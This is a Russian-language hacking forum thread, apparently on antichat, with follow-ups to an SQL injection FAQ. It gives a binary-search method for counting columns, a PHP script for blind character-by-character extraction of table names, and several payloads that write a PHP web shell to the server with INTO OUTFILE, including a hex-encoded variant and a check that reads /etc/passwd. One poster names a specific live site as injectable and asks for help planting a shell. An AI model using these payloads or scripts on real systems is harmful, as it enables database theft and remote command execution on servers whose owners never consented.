Ускоренный подбор колонок, можно и символов: например колонок 30 мы начинаем проверять order+by+100-- error order+by+50-- error order+by+25-- good order+by+37-- error order+by+31-- err order+by+28-- good order+by+30-- good order+by+31-- err => полей 30 За один запрос мы отрубаем ненужную половину. Непомню как называетса этот способ, он испоьзуется при сортировки массива.. Думаю неплохо былоб его использовать в скриптах для подбора. Кол-во обращений к бд сокращается в разы. апд: /* Для новичков, типа меня, будет просто полезно знать способ*/ апд2: Где Вы видите что этим способом пользуются все? скрипт с предидущей страницы. Хотя можно было бы сократить кол-во циклов. Code: for ($x=0;$x<=count($ascii);$x++){ $f1=fopen($file,"a"); $sql = "SELECT+table_name+from+information_schema.tables+w here+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x]; $var = strlen(file_get_contents($url,FALSE,NULL,0,1)); if ($var != 0){ $info = $substring . ">".chr($ascii[$x])."\n"; $string.= chr($ascii[$x]); // Получаем значение и сохраняем его echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n"; fwrite($f1,$info); fclose($f1); exit(); }else{ echo chr($ascii[$x]).chr(13); } И еще, 2[underwater] зачем при каждой интерации цикла выполнять проверку длинны массива... пустая трата процессорного времени и "тормознутость" скрипта.(я про $x<=count($ascii)) В SIPT4 не могу проверить каким образом подбирается кол-во столбцов, у кого получилось проверить отпишите плз.
Привет всем, во3ник вопрос ну и что бы не со3давать новую тему вот думаю отпишусь тут может кто то поможет. Вообщем в адресную строку подставляю ' и вместо ошибки ничего не вылетает ну фильтрует как бы просто нет текста ( как я понимаю там должна быть ошибка ) во3можно ли чтото из этого извлечь, надо подбирать количество полей пока текст опять не появиться? Или можно забить на это дело и ничего оттуда не выйдет? Заранее благодарен за ответ.
Какбэ попробуй без кавычек +order+by+1-- или +or+1=1-- если так текс выведется, а так +order+by+999-- или +or+1=2-- ничего не выведется то скорее скуль есть и нужно подбирать кол-во полей. А вообще тебе нужно в спец тему - https://forum.antichat.ru/thread46016.html
fker нет... после = подставлял сразу то что ты говорил и ничего не вышло ну тоесть всё нормально выводил =471+or+1=2-- и =471+order+by+1-- одинаково выводит текст... а вот если подставить перед 471 минус и например +or+1=1-- то текст не выводиться...
Спасибо за FAQ! Можно ли что-то сделать, если запрос в коде не Code: SELECT tabl FROM ... (во всех примерах был только select ) а типа: Code: INSERT tabl (id, name) VALUES ('$id', '$name') $id ни как не проверяется ?
Хотелось бы SQL injection Но проблема в том что mysql_query обрабатывает только один запрос. т.е. кроме как вставить в эту таблицу чепуху не выходит. Хочу узнать можно ли както использовать недочет такого кода
Можешь работать как с Blind SQL Inj, через more1row вот как тут (пункт 4): https://forum.antichat.ru/thread35207.html З.Ы. Почитай заодно: https://forum.antichat.ru/thread119047.html
[небольшая заметка о залитии файлов в слепых инъекциях] Посмотрев в интернете информацию по данному вопросу и ничего не найдя, решил поделиться с вами, дорогие друзья, своими мыслями... Начнем с проверки прав, дабы убедиться, что у нас есть file_priv: Code: id=1+and+1=if(load_file('/etc/passwd')+is+not+NULL,1,2)--+ Если все ровно и нет никаких ошибок, следующим запросом льем шелл: Code: 1+and+if((select+"<?php system($_REQUEST[c]); ?>"+into+outfile+'/tmp/test.txt'),1,2)=1-- Можно также проверить залился ли файл, как мы проверяли наличие file_priv: Code: id=1+and+1=(if(load_file('/tmp/test.txt')+is+not+NULL,1,2)--+ Плюс вышеописанной конструкции заключается в том, что где бы инъект не был, в операторе SELECT, UPDATE, INSERT и т.д., при присутствии file_priv и отсутствии magic_quotes, шелл будет литься. [BONUS] Продолжим мысль и придумаем еще одно применение данной конструкции.... Надеюсь все читали про способ заливки шелла через инъекции, даже с присутствием magic_quotes, посредством двойного запроса... Так вот, чтобы залить шелл необходимо было ордер баем вычислять кол-во колонок, участвующих во втором(вложенном) запросе. Использую же вышеописанную технику, можно сократить время подбора колонок(имхо, довольно существенно, потому что когда подбираешь кол-во, приходится каждый раз хексить внутренний запрос) Хексим: Code: 0x2D3120616E64206966282873656C65637420223C3F7068702073797374656D28245F524551554553545B635D293B203F3E2220696E746F206F757466696C6520272F746D702F746573742E74787427292C312C32293D312D2D20 (1 and if((select "<?php system($_REQUEST[c]); ?>" into outfile '/tmp/test.txt'),1,2)=1-- ) И подставляем сие чудо на место поля, учавствующего в двойном запросе...
Iceangel_, кстати все эти запросы можно совместить, если я не ошибаюсь. В один удобный запрос, который сделает всё
[ + еще одна небольшая "фича" по теме залития шелла через SQL Injection ] Не уверен, что тут уже не писали о подобном способе аплоада шелла, но вроде пока не находил. Возможно, пригодится кому-то: Code: id=1+limit+1+into+outfile+'/path/to/shell.php'+fields+terminated+by+''+optionally+enclosed+by+"<?php+system($_GET[c]);die();?>"--+ Т.е. если инъекция в аргументе WHERE (или в LIMIT'е, или в ORDER BY, etc) SELECT-запроса, то можно сразу сделать вывод в файл без UNION'а или подзапросов. Зачем там die() сами догадайтесь. (; add: Ну или даже удобнее так: Code: id=1+limit+1+into+outfile+'/path/to/shell.php'+lines+terminated+by+"<?php+system($_GET[c]);?>"--+ Вобщем, тут возможны вариации.
спасибо за подробную статью, очень удобный фак. Единственное, что мне кажеться ты забыл упамянуть, это то, что если в HEX переводятся значения, то это спасает от фильтрации кавычек и их не нужно указывать. Как к примеру - FROM INFO.._SCHEMA.TABLES WHERE=0xимятаблицы_в_хексе. Я использовал этот, чтоб научиться и понять как это делается, единственное, что начал тулить туда кавычки к хексу, и сначала не дошло почему мускул ругается...
Здравствуйте, есть сайт с Injection в POST запросе. При value="1' " выдает видимо кавычки экранируются. При запросе value="1+1" выдает страницу как при value="2". Возможно ли расскрутить эту иньекцию в что либо стоящие?
Хай алл. Кароче фак суперский, но есть пара дополнений например, место того чтобы до куя раз писать limit+1,1 limit+2,1 не легче ли просто написать limit+1,200 и все таблицы выдут пробывал =). Ещё такой вопрос я нашёл дрявый сайт http://www.feldgrau.com/articles.php?ID=73+union+select+1,2,3,4,5,6,@@basedir,8/* ну раскрутил до нельзя, но не могу загнать шелл потому что там нет админки и через Into outfile тоже не получается кто знает помогите до конца освоить =)